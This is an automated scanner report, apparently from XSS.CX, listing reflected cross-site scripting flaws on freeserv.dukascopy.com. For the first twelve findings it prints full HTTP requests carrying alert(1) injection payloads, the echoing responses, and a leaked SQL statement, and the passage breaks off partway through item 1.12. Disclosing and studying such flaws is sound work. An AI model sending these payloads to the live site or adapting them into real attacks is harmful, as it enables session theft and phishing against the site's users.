XSS, Cross Site Scripting, freesser.dukascopy.com, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Thu Mar 17 14:14:22 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler

Loading

1. Cross-site scripting (reflected)

1.1. http://freeserv.dukascopy.com/advert/showX.php [id parameter]

1.2. http://freeserv.dukascopy.com/analytics/index.php [bg parameter]

1.3. http://freeserv.dukascopy.com/analytics/index.php [col parameter]

1.4. http://freeserv.dukascopy.com/analytics/index.php [fnt_col parameter]

1.5. http://freeserv.dukascopy.com/analytics/index.php [hgt parameter]

1.6. http://freeserv.dukascopy.com/analytics/index.php [lnk_col parameter]

1.7. http://freeserv.dukascopy.com/analytics/index.php [name of an arbitrarily supplied request parameter]

1.8. http://freeserv.dukascopy.com/analytics/index.php [sel parameter]

1.9. http://freeserv.dukascopy.com/analytics/index.php [tab_x parameter]

1.10. http://freeserv.dukascopy.com/analytics/index.php [tit parameter]

1.11. http://freeserv.dukascopy.com/analytics/index.php [tit_col parameter]

1.12. http://freeserv.dukascopy.com/dhtml_rb/ [BG_all parameter]

1.13. http://freeserv.dukascopy.com/dhtml_rb/ [C10 parameter]

1.14. http://freeserv.dukascopy.com/dhtml_rb/ [C3 parameter]

1.15. http://freeserv.dukascopy.com/dhtml_rb/ [C9 parameter]

1.16. http://freeserv.dukascopy.com/dhtml_rb/ [STOCKS parameter]

1.17. http://freeserv.dukascopy.com/dhtml_rb/ [W parameter]

1.18. http://freeserv.dukascopy.com/qt/ [C8 parameter]

1.19. http://freeserv.dukascopy.com/qt/ [C9 parameter]

1.20. http://freeserv.dukascopy.com/qt/ [H parameter]

1.21. http://freeserv.dukascopy.com/qt/ [W parameter]

1.22. http://freeserv.dukascopy.com/qt/ [tit parameter]

1.23. http://freeserv.dukascopy.com/analytics/index.php [Referer HTTP header]

1.24. http://freeserv.dukascopy.com/dhtml_rb/ [Referer HTTP header]

1.25. http://freeserv.dukascopy.com/qt/ [Referer HTTP header]

1.26. http://freeserv.dukascopy.com/qt/ [Referer HTTP header]

2. Referer-dependent response

2.1. http://freeserv.dukascopy.com/analytics/index.php

2.2. http://freeserv.dukascopy.com/dhtml_rb/

2.3. http://freeserv.dukascopy.com/dhtml_rb/prc.php

3. HTML does not specify charset

3.1. http://freeserv.dukascopy.com/advert/showX.php

3.2. http://freeserv.dukascopy.com/dhtml_rb/

3.3. http://freeserv.dukascopy.com/dhtml_rb/prc.php

3.4. http://freeserv.dukascopy.com/qt/

3.5. http://freeserv.dukascopy.com/qt/prc.php

4. Content type incorrectly stated

4.1. http://freeserv.dukascopy.com/advert/showX.php

4.2. http://freeserv.dukascopy.com/qt/prc.php



1. Cross-site scripting (reflected)  next
There are 26 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://freeserv.dukascopy.com/advert/showX.php [id parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /advert/showX.php

Issue detail

The value of the id request parameter is copied into the HTML document as plain text between tags. The payload f28e5<script>alert(1)</script>b7495ce1d64 was submitted in the id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /advert/showX.php?id=27f28e5<script>alert(1)</script>b7495ce1d64&prodId=market_report_X&type=0 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://freeserv.dukascopy.com/analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Expires: Mon, 26 Jul 1990 05:00:00 GMT
Last-Modified: Thu, 17 Mar 2011 18:24:39 GMT
Cache-Control: no-cache, must-revalidate, no-store, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:39 GMT
Server: lighttpd/1.4.26
Content-Length: 253

http://www.dukascopy.com/tradercontest/?action=prizes<br>Error storing IP: 2915161843<br><font color=gray><small><small><small>INSERT INTO advert.block_ip (ip, idb, date) VALUES ('2915161843', '27f28e5<script>alert(1)</script>b7495ce1d64', '1300386279')

1.2. http://freeserv.dukascopy.com/analytics/index.php [bg parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /analytics/index.php

Issue detail

The value of the bg request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c450b'-alert(1)-'5a479a8bda8 was submitted in the bg parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /analytics/index.php?tab_x=218&bg=f4f4f4c450b'-alert(1)-'5a479a8bda8&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:58 GMT
Server: lighttpd/1.4.26
Content-Length: 24841

<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<ht
...[SNIP]...
   tabDivObj.style.width = (oBodyW - ((nonIE) ? 10 : 0) ) + 'px';
   setTimeout('smFix()',50);
}

function chg_lang(s) {
   l=s.options[s.selectedIndex].value;
   document.location.href='?tab_x=218&bg=f4f4f4c450b'-alert(1)-'5a479a8bda8&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&tit=Daily+Market+Reports'+'&lang='+l;
}    
</script>
...[SNIP]...

1.3. http://freeserv.dukascopy.com/analytics/index.php [col parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /analytics/index.php

Issue detail

The value of the col request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 32b7b'-alert(1)-'c039a14e6ba was submitted in the col parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d032b7b'-alert(1)-'c039a14e6ba&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:01 GMT
Server: lighttpd/1.4.26
Content-Length: 24841

<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<ht
...[SNIP]...
style.width = (oBodyW - ((nonIE) ? 10 : 0) ) + 'px';
   setTimeout('smFix()',50);
}

function chg_lang(s) {
   l=s.options[s.selectedIndex].value;
   document.location.href='?tab_x=218&bg=f4f4f4&col=d0d0d032b7b'-alert(1)-'c039a14e6ba&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&tit=Daily+Market+Reports'+'&lang='+l;
}    
</script>
...[SNIP]...

1.4. http://freeserv.dukascopy.com/analytics/index.php [fnt_col parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /analytics/index.php

Issue detail

The value of the fnt_col request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7a105'-alert(1)-'66fdab2a50d was submitted in the fnt_col parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=0000007a105'-alert(1)-'66fdab2a50d&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:05 GMT
Server: lighttpd/1.4.26
Content-Length: 24841

<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<ht
...[SNIP]...
E) ? 10 : 0) ) + 'px';
   setTimeout('smFix()',50);
}

function chg_lang(s) {
   l=s.options[s.selectedIndex].value;
   document.location.href='?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=0000007a105'-alert(1)-'66fdab2a50d&lnk_col=005599&hgt=292&sel=0&tit=Daily+Market+Reports'+'&lang='+l;
}    
</script>
...[SNIP]...

1.5. http://freeserv.dukascopy.com/analytics/index.php [hgt parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /analytics/index.php

Issue detail

The value of the hgt request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7a1c5'-alert(1)-'6f6dee1de was submitted in the hgt parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=2927a1c5'-alert(1)-'6f6dee1de&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:15 GMT
Server: lighttpd/1.4.26
Content-Length: 24840

<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<ht
...[SNIP]...
;
   setTimeout('smFix()',50);
}

function chg_lang(s) {
   l=s.options[s.selectedIndex].value;
   document.location.href='?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=2927a1c5'-alert(1)-'6f6dee1de&sel=0&tit=Daily+Market+Reports'+'&lang='+l;
}    
</script>
...[SNIP]...

1.6. http://freeserv.dukascopy.com/analytics/index.php [lnk_col parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /analytics/index.php

Issue detail

The value of the lnk_col request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3812a'-alert(1)-'9ea896562f3 was submitted in the lnk_col parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=0055993812a'-alert(1)-'9ea896562f3&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:10 GMT
Server: lighttpd/1.4.26
Content-Length: 24841

<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<ht
...[SNIP]...
+ 'px';
   setTimeout('smFix()',50);
}

function chg_lang(s) {
   l=s.options[s.selectedIndex].value;
   document.location.href='?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=0055993812a'-alert(1)-'9ea896562f3&hgt=292&sel=0&tit=Daily+Market+Reports'+'&lang='+l;
}    
</script>
...[SNIP]...

1.7. http://freeserv.dukascopy.com/analytics/index.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /analytics/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6b6fc'-alert(1)-'638b4f88232 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports&6b6fc'-alert(1)-'638b4f88232=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:38 GMT
Server: lighttpd/1.4.26
Content-Length: 24844

<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<ht
...[SNIP]...
function chg_lang(s) {
   l=s.options[s.selectedIndex].value;
   document.location.href='?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&tit=Daily+Market+Reports&6b6fc'-alert(1)-'638b4f88232=1'+'&lang='+l;
}    
</script>
...[SNIP]...

1.8. http://freeserv.dukascopy.com/analytics/index.php [sel parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /analytics/index.php

Issue detail

The value of the sel request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f2361'-alert(1)-'70cd362e38c was submitted in the sel parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0f2361'-alert(1)-'70cd362e38c&lang=english&tit=Daily+Market+Reports HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:27 GMT
Server: lighttpd/1.4.26
Content-Length: 25011

<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<ht
...[SNIP]...
Timeout('smFix()',50);
}

function chg_lang(s) {
   l=s.options[s.selectedIndex].value;
   document.location.href='?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0f2361'-alert(1)-'70cd362e38c&tit=Daily+Market+Reports'+'&lang='+l;
}    
</script>
...[SNIP]...

1.9. http://freeserv.dukascopy.com/analytics/index.php [tab_x parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /analytics/index.php

Issue detail

The value of the tab_x request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1ee45'-alert(1)-'8f96bfd09b9 was submitted in the tab_x parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /analytics/index.php?tab_x=2181ee45'-alert(1)-'8f96bfd09b9&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:54 GMT
Server: lighttpd/1.4.26
Content-Length: 24841

<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<ht
...[SNIP]...
+ 'px';
   tabDivObj.style.width = (oBodyW - ((nonIE) ? 10 : 0) ) + 'px';
   setTimeout('smFix()',50);
}

function chg_lang(s) {
   l=s.options[s.selectedIndex].value;
   document.location.href='?tab_x=2181ee45'-alert(1)-'8f96bfd09b9&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&tit=Daily+Market+Reports'+'&lang='+l;
}    
</script>
...[SNIP]...

1.10. http://freeserv.dukascopy.com/analytics/index.php [tit parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /analytics/index.php

Issue detail

The value of the tit request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 72525'-alert(1)-'35c44f02e22 was submitted in the tit parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports72525'-alert(1)-'35c44f02e22 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:35 GMT
Server: lighttpd/1.4.26
Content-Length: 24869

<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<ht
...[SNIP]...

function chg_lang(s) {
   l=s.options[s.selectedIndex].value;
   document.location.href='?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&tit=Daily+Market+Reports72525'-alert(1)-'35c44f02e22'+'&lang='+l;
}    
</script>
...[SNIP]...

1.11. http://freeserv.dukascopy.com/analytics/index.php [tit_col parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /analytics/index.php

Issue detail

The value of the tit_col request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c6f13'-alert(1)-'f8f7513db66 was submitted in the tit_col parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000c6f13'-alert(1)-'f8f7513db66&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:25:03 GMT
Server: lighttpd/1.4.26
Content-Length: 24841

<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<ht
...[SNIP]...
oBodyW - ((nonIE) ? 10 : 0) ) + 'px';
   setTimeout('smFix()',50);
}

function chg_lang(s) {
   l=s.options[s.selectedIndex].value;
   document.location.href='?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000c6f13'-alert(1)-'f8f7513db66&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&tit=Daily+Market+Reports'+'&lang='+l;
}    
</script>
...[SNIP]...

1.12. http://freeserv.dukascopy.com/dhtml_rb/ [BG_all parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /dhtml_rb/

Issue detail

The value of the BG_all request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload e472c%20style%3dx%3aexpression(alert(1))%2057b386f1a75 was submitted in the BG_all parameter. This input was echoed as e472c style=x:expression(alert(1)) 57b386f1a75 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

